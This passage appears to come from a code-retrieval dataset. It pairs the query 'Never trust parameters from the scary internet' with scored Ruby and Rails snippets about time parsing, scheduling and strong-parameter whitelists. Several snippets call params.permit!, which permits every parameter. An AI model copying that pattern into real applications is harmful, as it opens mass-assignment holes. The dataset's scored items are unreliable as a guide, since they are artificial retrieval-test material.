ruleace[\"denied\"]\n\tassert_nil(denied)\n\tassert_equal(\"TestingThatRuleWorks\",ruleace[\"sakai:rule-processor\"])\n\t\n\t\n\t\n\t\n end", "title": "" }, { "docid": "0dc831bd7a67f8992d3d1cd7bda285d1", "score": "0.4635692", "text": "def test_time_range_new_day\n time_string = '22:30 - 0:30'\n sumtime = SumTime.new(time_string)\n assert_equal('2.0', sumtime.calculate_time)\n end", "title": "" }, { "docid": "2dc2e2aed6acdcde4b596ba26c29b799", "score": "0.4635146", "text": "def adjust_time(timediff)\n Jhead.call(\"-ta\" << timediff, @match, @pattern)\n end", "title": "" }, { "docid": "b7e9857540384921e1df5c036ef6e878", "score": "0.4634883", "text": "def initialize(schedule)\n @result, @min, @hour, @day, @month, @wday = *schedule.match(CRON_REGEXP)\n validate\n end", "title": "" }, { "docid": "46f48b56dd82248ae161fe54295324b4", "score": "0.4617683", "text": "def configure! options = {}\n\t\tfrom \t= options[first_from(START_KEYS, options)]\n\t\tto \t\t= options[first_from(END_KEYS, options)]\n\t\tdur \t= options[first_from(DURATION_KEYS, options)]\n\t\tasap = options[:asap]\n\n\t\tif options[:at_least]\n\t\t\tto = Timespan.max_date \n\t\t\tfrom = Time.now + options[:at_least]\n\t\tend\n\n\t\tif options[:at_most]\n\t\t\tto = Time.now + options[:at_most]\n\t\t\tfrom = Time.now\n\t\tend\n\n\t\tif options[:between]\n\t\t\tfrom = Time.now + options[:between].min\n\t\t\tto = Time.now + options[:between].max\n\t\tend\n\n\t\t# puts \"configure: to:#{to}, from:#{from}, dur:#{dur}, asap:#{asap}\"\n\n\t\t@asap \t\t\t\t\t\t= asap if asap\n\t\tself.duration \t\t= dur if dur\n\t\tself.start_time \t= from if from\n\t\tself.end_time \t\t= to if to\n\n\t\t# puts \"configured: start:#{self.start_time}, end:#{self.end_time}, duration:#{self.duration}, asap:#{self.asap?}\"\n\n\t\tdefault_from_now!\n\t\tcalculate_miss!\n\trescue ArgumentError => e\n\t\traise TimeParseError, e.message\n\t# rescue Exception => e\n\t# \tputs \"Exception: #{e}\"\n\t# \tcalculate_miss!\n\t# \tvalidate!\n\tend", "title": "" }, { "docid": "ab76ca848d216c51bf6041c693d9d049", "score": "0.46144128", "text": "def create\n \n params[:task][:time] = parse_task_time(params[:task][:time],params[:anytime][:anytime])\n @task = Task.new(params[:task])\n \n # unless the following 2 commands are executed, the time is saved in the wrong time zone\n @task.start_date = @task.start_date.advance({:hours=>0})\n @task.end_date = @task.end_date.advance({:hours=>0})\n # can't understand why...\n \n respond_to do |format|\n if @task.save\n format.html { redirect_to(tasks_url, :notice => 'Task was successfully created.') }\n format.xml { render :xml => @task, :status => :created, :location => @task }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8735f501a83c84dbaec75143d7dd3f99", "score": "0.46139136", "text": "def create\n \n @timetrack = Timetrack.new(timetrack_params)\n if !@timetrack.mobject.allow\n @mobject = @timetrack.mobject\n @mobject.allow = false\n @mobject.allowdays = 3\n @mobject.save\n end\n\n respond_to do |format|\n #if (@timetrack.datum <= Date.today - @timetrack.mobject.allowdays and @timetrack.datum.strftime(\"%m\") != Date.today.strftime(\"%m\")) or @timetrack.mobject.allow == false or true\n #format.html { redirect_to new_timetrack_path(:user_id => @timetrack.user_id, :mobject_id => @timetrack.mobject_id, :scope => @timetrack.costortime, :tdatum => @timetrack.datum), notice: \"Keine Zeiterfassung mehr möglich!\" }\n #end\n if @timetrack.save\n #format.html { redirect_to timetracks_path(:mobject_id => @timetrack.mobject_id, :scope => @timetrack.costortime), notice: (I18n.t :act_create) }\n format.html { redirect_to user_path(:id => @timetrack.user_id, :topic => \"personen_zeiterfassung\", :scope => @timetrack.costortime, :tdatum => @timetrack.datum), notice: (I18n.t :act_create) }\n format.json { render :show, status: :created, location: @timetrack }\n else\n format.html { render :new }\n format.json { render json: @timetracks.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad12e2c0e99dc989a6f29d49a7c7a268", "score": "0.46065322", "text": "def schedule_params\n params.require(:schedule).permit(:start_time, :end_time, :treatment_options)\n end", "title": "" }, { "docid": "32f1f8017d7003e29ef9f82d3083d588", "score": "0.4600033", "text": "def schedule_created(app_event)\n team = app_event.obj\n return [] unless team.schedule_updates? \n event_ids = app_event.obj.future_events.map(&:id)\n generate_nis(app_event, \"schedule_created\", event_ids)\n end", "title": "" }, { "docid": "7ca8b2917868ea77033b5cd41af5e23c", "score": "0.45957687", "text": "def test_arrival_time_validation\n batch = Batch.new(:id => 80,\n :batchid => 8,\n :date => \"#{Time.now}\",\n :eob => 30,\n :facility_id => 1,\n :arrival_time => \"#{Time.now.yesterday}\",\n :target_time => \"#{Time.now}\",\n :status => \"New\")\n batch.valid?\n assert_equal \"must be within 6 hours window period from current time\", batch.errors.on(\"arrival_time\")\n \n batch = Batch.new(:id => 80,\n :batchid => 8,\n :date => \"#{Time.now}\",\n :eob => 30,\n :facility_id => 1,\n :arrival_time => \"#{Time.now.tomorrow}\",\n :target_time => \"#{Time.now}\",\n :status => \"New\")\n batch.valid?\n assert_equal \"must be within 6 hours window period from current time\", batch.errors.on(\"arrival_time\")\n end", "title": "" }, { "docid": "11f764bbe9a94876d8c95c96e44fbb83", "score": "0.45945373", "text": "def timerange=(arg)\n @timerange = TimeRange.new(arg[\"(1s)\"], arg[\"(2s)\"], arg[\"(3s)\"])\n end", "title": "" }, { "docid": "67899426bd3241f204700107b341cc09", "score": "0.45882466", "text": "def set_time days\r\n days.each do |day,times|\r\n periods = times.split(\",\")\r\n periods.each do |period|\r\n start_time,end_time = period.split(\"-\")\r\n raise unless Time.parse(start_time) < Time.parse(end_time) \r\n #this will throw an exception if the day is invalid\r\n KlassSchedule.create :klass_id=>self.id,:start_time=>start_time,\r\n :end_time=>end_time,:day_of_week=>day\r\n end\r\n end \r\n end", "title": "" }, { "docid": "a8224e316c06dc1a7614de7ed8ca0659", "score": "0.45712397", "text": "def create_event_create_rule request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_event_create_rule_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Analytics::Admin::V1alpha::EventCreateRule.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "fb21cc3e828863a8804b8faeb64ffd91", "score": "0.45685712", "text": "def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # Timestep\n timesteps_per_hr = OpenStudio::Measure::OSArgument.makeIntegerArgument('timesteps_per_hr', true)\n timesteps_per_hr.setDisplayName('Simulation Timestep')\n timesteps_per_hr.setDescription('Simulation timesteps per hr')\n timesteps_per_hr.setDefaultValue (4)\n args << timesteps_per_hr\n\n # Daylight Savings Time\n enable_dst = OpenStudio::Measure::OSArgument.makeBoolArgument('enable_dst', true)\n enable_dst.setDisplayName('Enable Daylight Savings')\n enable_dst.setDescription('Set to true to make model schedules observe daylight savings. Set to false if in a location where DST is not observed.')\n enable_dst.setDefaultValue(true)\n args << enable_dst\n\n # DST start date\n dst_start = OpenStudio::Ruleset::OSArgument::makeStringArgument('dst_start', true)\n dst_start.setDisplayName('Daylight Savings Starts')\n dst_start.setDescription('Only used if Enable Daylight Savings is true')\n dst_start.setDefaultValue('2nd Sunday in March')\n args << dst_start\n\n # DST end date\n dst_end = OpenStudio::Ruleset::OSArgument::makeStringArgument('dst_end', true)\n dst_end.setDisplayName('Daylight Savings Starts')\n dst_end.setDescription('Only used if Enable Daylight Savings is true')\n dst_end.setDefaultValue('1st Sunday in November')\n args << dst_end\n\n # Year\n calendar_year = OpenStudio::Measure::OSArgument.makeIntegerArgument('calendar_year', true)\n calendar_year.setDisplayName('Calendar Year')\n calendar_year.setDefaultValue(0)\n calendar_year.setDescription('This will impact the day of the week the simulation starts on. An input value of 0 will leave the year un-altered')\n args << calendar_year\n\n # Day of week that Jan 1st falls on\n jan_first_day_of_wk = OpenStudio::Ruleset::OSArgument::makeStringArgument('jan_first_day_of_wk', true)\n jan_first_day_of_wk.setDisplayName('Day of Week that Jan 1st falls on')\n jan_first_day_of_wk.setDescription('Only used if Calendar Year = 0. If Calendar Year specified, use correct start day for that year.')\n jan_first_day_of_wk.setDefaultValue('Thursday') # Matches OpenStudio default year of 2009\n args << jan_first_day_of_wk\n\n # Begin month of simulation\n begin_month = OpenStudio::Ruleset::OSArgument::makeIntegerArgument('begin_month', true)\n begin_month.setDisplayName('Begin Month')\n begin_month.setDescription('First month of simulation')\n begin_month.setDefaultValue(1)\n args << begin_month\n\n # Begin day of simulation\n begin_day = OpenStudio::Ruleset::OSArgument::makeIntegerArgument('begin_day', true)\n begin_day.setDisplayName('Begin Day')\n begin_day.setDescription('First day of simulation')\n begin_day.setDefaultValue(1)\n args << begin_day\n\n # Last month of simulation\n end_month = OpenStudio::Ruleset::OSArgument::makeIntegerArgument('end_month', true)\n end_month.setDisplayName('End Month')\n end_month.setDescription('Last month of simulation')\n end_month.setDefaultValue(12)\n args << end_month\n\n # Last day of simulation\n end_day = OpenStudio::Ruleset::OSArgument::makeIntegerArgument('end_day', true)\n end_day.setDisplayName('End Day')\n end_day.setDescription('Last day of simulation')\n end_day.setDefaultValue(31)\n args << end_day\n\n return args\n end", "title": "" }, { "docid": "91a3e540284dff41deac04e6afd8d869", "score": "0.45676693", "text": "def get_timeframe_rule_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TimeframeRulesApi.get_timeframe_rule ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling TimeframeRulesApi.get_timeframe_rule\"\n end\n # resource path\n local_var_path = '/timeframe_rules/{id}'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TimeframeRule')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TimeframeRulesApi#get_timeframe_rule\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "11800d825919016192f10c62f9373306", "score": "0.4560491", "text": "def parse_time_span\n if time_span.present?\n time_span =~ /^([^\\s]+)\\s+to\\s+(.+)$/i\n \n if $1 && $2\n self.start_time =(Chronic.parse($1).hour * 60) + Chronic.parse($1).min\n self.end_time = (Chronic.parse($2).hour * 60) + Chronic.parse($2).min\n else\n raise \"Couldn't properly parse time span: #{time_span.inspect}\"\n end\n end\n end", "title": "" }, { "docid": "6c3f06b453fd4851d8080565d09a6ca6", "score": "0.45574394", "text": "def initialize(time_zone_id=nil,from=\"09:00\",to=\"17:00\")\n\t\tif @time_zone_id.nil? || @time_zone_id.strip.empty?\n\t\t\t@time_zone = DateTimeZone.getDefault\n\t\telse\n\t\t\t@time_zone = DateTimeZone.forID(time_zone_id)\n\t\tend\n\t\t@start_hour,@start_minutes = CommunicationDateClassifier.parse_hour_minutes_string(from)\n\t\t@end_hour,@end_minutes = CommunicationDateClassifier.parse_hour_minutes_string(to)\n\n\t\t@parent_tag = \"Office Hours\"\n\t\t@before_tag = \"Before Office Hours\"\n\t\t@during_tag = \"During Office Hours\"\n\t\t@after_tag = \"After Office Hours\"\n\t\t@weekend_tag = \"Weekend\"\n\n\t\t@office_days = {\n\t\t\t\"MONDAY\" => true,\n\t\t\t\"TUESDAY\" => true,\n\t\t\t\"WEDNESDAY\" => true,\n\t\t\t\"THURSDAY\" => true,\n\t\t\t\"FRIDAY\" => true,\n\t\t\t\"SATURDAY\" => false,\n\t\t\t\"SUNDAY\" => false,\n\t\t}\n\n\t\t@week_day_names = {\n\t\t\t1 => \"MONDAY\",\n\t\t\t2 => \"TUESDAY\",\n\t\t\t3 => \"WEDNESDAY\",\n\t\t\t4 => \"THURSDAY\",\n\t\t\t5 => \"FRIDAY\",\n\t\t\t6 => \"SATURDAY\",\n\t\t\t7 => \"SUNDAY\",\n\t\t}\n\n\t\t@record_week_day = false\n\tend", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "707549ee4fed24391f466b25da458255", "score": "0.0", "text": "def prince_params\n params.require(:prince).permit(:valueNormal, :valueAbove, :datePrince)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7496024", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.69581187", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69239146", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68947065", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.6785868", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.6744997", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6684356", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6638386", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66301256", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.6628135", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.65646887", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6492452", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.64795715", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.6455513", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.64003164", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6384836", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6364649", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.63415843", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.63383114", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.63269013", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.63220155", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.6316562", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.6314817", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.63081145", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.63023823", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.62986904", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.62964827", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62928796", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62928796", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.62787795", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6274944", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6268393", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62575895", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.62573844", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.62526286", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.62381804", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.62301373", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62290776", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.62288547", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.6227217", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.620139", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61923295", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.6183806", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.61789596", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.6164819", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.6162099", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.6156547", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.61562794", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.6136156", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.6134316", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61219317", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6119646", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6119646", "text": "def check_params; true; end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61154366", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.6112273", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61044693", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61044693", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6099231", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6099231", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.608712", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.6086564", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.6085443", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.60794103", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.60761243", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.6070038", "text": "def need_params\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.6069571", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6068002", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6066688", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.60652244", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.6063942", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.6063637", "text": "def filtered_parameters; end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.6058853", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.60491425", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6049026", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6049026", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6047828", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041514", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.60354453", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6031028", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6026526", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6022237", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.60221887", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.60179514", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.6016493", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": 